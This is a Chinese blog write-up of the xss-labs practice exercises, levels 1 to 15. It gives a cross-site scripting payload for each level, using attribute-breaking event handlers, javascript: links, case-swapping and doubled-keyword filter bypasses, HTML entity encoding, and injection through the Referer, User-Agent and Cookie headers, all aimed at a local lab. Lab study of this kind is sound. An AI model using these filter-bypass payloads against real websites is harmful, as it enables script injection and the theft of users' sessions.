xss-labs

2024 年 8 月 22 日 (已编辑)
703 字
4 分钟

xss-labs

level1

在url直接输入即可

text
level1.php?name=<script>alert(1)</script>

level2

html
<body>
  <h1 align="center">欢迎来到level2</h1>
  <h2 align="center">没有找到和test相关的结果.</h2>
  <center>
    <form action="level2.php" method="GET">
      <input name="keyword" value="test" />
      <input type="submit" name="submit" value="搜索" />
    </form>
  </center>
  <center><img src="level2.png" /></center>
  <h3 align="center">payload的长度:4</h3>
</body>

可以从第五行处进行利用, 闭合前面的语句即可

text
level2.php?keyword="><script>alert(1)</script>

本机上检查源码发现第三行利用的函数为htmlspecialchars, 很可惜没成

还可以构造onclick属性, 因为是<input>标签

text
level2.php?keyword=" onclick="alert(1)

此时文本框有了一个点击事件, 点击文本框就能看到弹窗进入下一关

level3

<input>标签继续尝试:

text
level3.php?keyword=' onclick='alert(1)&submit=%E6%90%9C%E7%B4%A2

点击搜索框即可

双引号被编码

level4

还是可以直接用

text
# 点击搜索框
level4.php?keyword=" onclick="alert(1)&submit=%E6%90%9C%E7%B4%A2
# 点击搜索
level4.php?keyword='" onblur='alert(1)'&submit=%E6%90%9C%E7%B4%A2

level5

对事件on做了过滤, 同时过滤了script, 增加了_使得它们失效

试试<a>标签, 发现是可以塞进去的, 只过滤了script

text
level5.php?keyword="><a href='javascript:alert(1);'>cnm</a>&submit=%E6%90%9C%E7%B4%A2

level6

可以大小写绕过

text
level6.php?keyword=" Onclick="alert(1)&submit=%E6%90%9C%E7%B4%A2
level6.php?keyword="><a Href='javascript:alert(1);'>cnm</a>&submit=%E6%90%9C%E7%B4%A2

level7

尝试利用下面的payload发现on被替换为空:

text
" onclick="alert(1)

尝试双写, 成功绕过

text
level7.php?keyword=" oonnclick="alert(1)&submit=%E6%90%9C%E7%B4%A2

level8

内容输出在了a标签的href属性中, javascript不仅加了_, 并且将特殊符号进行了编码无法闭合

但是属性值是可以进行编码绕过的, 进行一个html的实体编码:

text
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;

hex编码也可以

javasc&#x72;&#x69;pt:alert(/xss/)

输入到输入框再点击友情链接即可

text
level8.php?keyword=%26%23106%3B%26%2397%3B%26%23118%3B%26%2397%3B%26%23115%3B%26%2399%3B%26%23114%3B%26%23105%3B%26%23112%3B%26%23116%3B%26%2358%3B%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%2334%3B%26%23106%3B%26%2397%3B%26%23100%3B%26%23101%3B%26%23110%3B%26%2334%3B%26%2341%3B&submit=%E6%B7%BB%E5%8A%A0%E5%8F%8B%E6%83%85%E9%93%BE%E6%8E%A5

level9

unicode编码

php
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
 }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

必须要有http://, 但是在最后增加会导致跳转不可用, 注释掉http://就行

text
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

level10

在源码可以找到三个传参点, 最后找到t_sort可以作为传参点, 传参在value

html
<input name="t_link" value="" type="hidden" />
<input name="t_history" value="" type="hidden" />
<input name="t_sort" value="" type="hidden" />

input标签进行注入可以闭合属性, 构造新的属性, 同时把type="hidden"属性替换掉

text
level10.php?keyword=1&t_sort='" type='text' onclick='alert(1)'

level11

html
<input name="t_link" value="" type="hidden" />
<input name="t_history" value="" type="hidden" />
<input name="t_sort" value="" type="hidden" />
<input
  name="t_ref"
  value="http://127.0.0.1:8903/level10.php?keyword=1&t_sort=%27%22%20type=%27text%27%20onclick=%27alert(123)%27"
  type="hidden"
/>

这个t_ref是上一关跳转过来的referer, referer是没有过滤的

所以将下面payload塞进referer然后取得输入框焦点即可:

text
'"type='text' onclick='alert(1)'

level12

t_ua没有被编码, 这次是User Agent, 换成上面的payload即可

level13

刷新页面抓包, 将Cookie改成上面的payload即可

level14

大佬解析

需要安装flash我认为可以直接拉倒

反正就是上传一个包含xss的图片然后被解析出来

level15

跳转有问题, 我自己的网址是: /level15.php?src=1.gif

根据提示和官方文档, 发现可以包含页面, 尝试包含level1

text
http://127.0.0.1:8903/level15.php?src=%27http://127.0.0.1:8903/level1.php%27

利用level1的payload似乎被过滤了, 尝试后是<script>

尝试其他的, 发现可以利用以下payload

text
http://127.0.0.1:8903/level15.php?src='level1.php?name=<img src=123 οnerrοr=alert(1)>'

无法弹出弹窗, 拉倒了

文章标题:xss-labs

文章作者:4reexile

文章链接:https://4reexile.github.io/posts/xss-labs[复制]

最后修改时间:


商业转载请联系站长获得授权,非商业转载请注明本文出处及文章链接,您可以自由地在任何媒体以任何形式复制和分发作品,也可以修改和创作,但是分发衍生作品时必须采用相同的许可协议。
本文采用CC BY-NC-SA 4.0进行许可。